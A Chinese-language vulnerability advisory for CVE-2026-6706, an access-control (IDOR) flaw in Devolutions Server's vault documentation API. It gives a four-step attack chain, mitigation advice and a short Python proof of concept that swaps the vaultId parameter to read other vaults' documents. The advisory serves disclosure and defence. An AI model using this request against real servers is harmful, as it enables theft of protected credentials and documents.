IPBUF安全漏洞报告
English
CVE-2026-6706 CVSS 6.5 中危

CVE-2026-6706 Devolutions Server不当访问控制漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-6706
漏洞类型
不当访问控制
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Devolutions Server

相关标签

不当访问控制Devolutions Server信息泄露IDOR

漏洞概述

Devolutions Server的vault文档功能存在不当访问控制漏洞。由于缺乏对API请求的严格验证,经过身份验证的攻击者可以利用该漏洞,通过构造特定的API请求,绕过权限限制读取未授权的vaults中的文档内容。该漏洞影响特定版本的Devolutions Server,可能导致敏感信息泄露。

技术细节

该漏洞源于Devolutions Server在处理vault文档相关API请求时,未正确实施访问控制检查。虽然API要求用户身份验证(PR:L),但在处理读取文档内容的请求时,服务器端未验证当前用户是否有权访问目标vault的资源。攻击者首先需要获取一个有效的低权限账户,然后通过拦截或构造API请求,修改其中的vault ID或文档ID参数。由于服务器只验证了会话有效性而未验证资源归属,攻击者可以直接获取到其他受保护vault中的文档数据。这属于典型的IDOR(不安全的直接对象引用)漏洞。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者注册或获取一个Devolutions Server的低权限账户,并登录系统获取有效的Session Token。
STEP 2
2. 分析API接口
攻击者通过抓包分析,发现用于读取Vault文档的API端点及其参数结构(如vaultId)。
STEP 3
3. 构造恶意请求
攻击者保持原有Session,修改API请求中的vaultId参数,将其指向未授权的目标Vault。
STEP 4
4. 数据窃取
服务器因缺乏权限校验返回了目标Vault的文档内容,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "https://<target-server>/api/vault/documentation" # Attacker's authenticated session cookie cookies = { "ASP.NET_SessionId": "<attacker_session_id>" } # Malicious payload targeting an unauthorized vault ID params = { "vaultId": "<target_vault_id>", "docId": "<target_doc_id>" } response = requests.get(target_url, cookies=cookies, params=params) if response.status_code == 200: print("[+] Exploit successful! Leaked data:") print(response.text) else: print("[-] Exploit failed.")

影响范围

Devolutions Server 2026.1.6.0 - 2026.1.14.0
Devolutions Server <= 2025.3.18.0

防御指南

临时缓解措施
建议立即升级到官方修复版本。若无法立即升级,应在网络边界部署WAF规则,拦截针对文档API的异常请求,并严格限制管理后台的访问IP,同时加强对异常文档下载行为的日志监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表